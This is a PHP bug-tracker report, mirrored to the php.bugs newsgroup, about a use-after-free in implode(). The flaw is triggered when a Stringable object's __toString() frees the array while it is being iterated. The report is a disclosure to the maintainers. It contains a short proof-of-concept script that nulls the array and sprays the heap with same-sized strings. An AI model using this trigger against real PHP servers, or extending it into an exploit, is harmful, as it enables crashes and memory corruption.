[php-src] Issue #23204: implode() / join(): Use-After-Free via Stringable::__toString() Array Mutation
[email protected] (iluuu1994)
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/23204
Author: iluuu1994
### Description
Originally reported by @e1abrador.
`implode()` iterates over an array's `arData` using `ZEND_HASH_FOREACH_VAL` without incrementing the array's reference count. When a `Stringable` object's `__toString()` is called during iteration, it can nullify the array, freeing `arData` while the loop pointer still references it.
The following code:
```php
<?php
class Crash implements Stringable {
public static ?array $t = null;
public static array $h = [];
public function __toString(): string {
if (self::$t !== null) {
self::$t = null;
for ($i = 0; $i < 51; $i++) self::$h[] = str_repeat("\x42", 495);
}
return "X";
}
}
$a = [];
for ($i = 0; $i < 20; $i++) $a[] = new Crash();
Crash::$t = &$a;
@implode(",", $a);
```
### PHP Version
```plain
PHP 8.4+
```
### Operating System
_No response_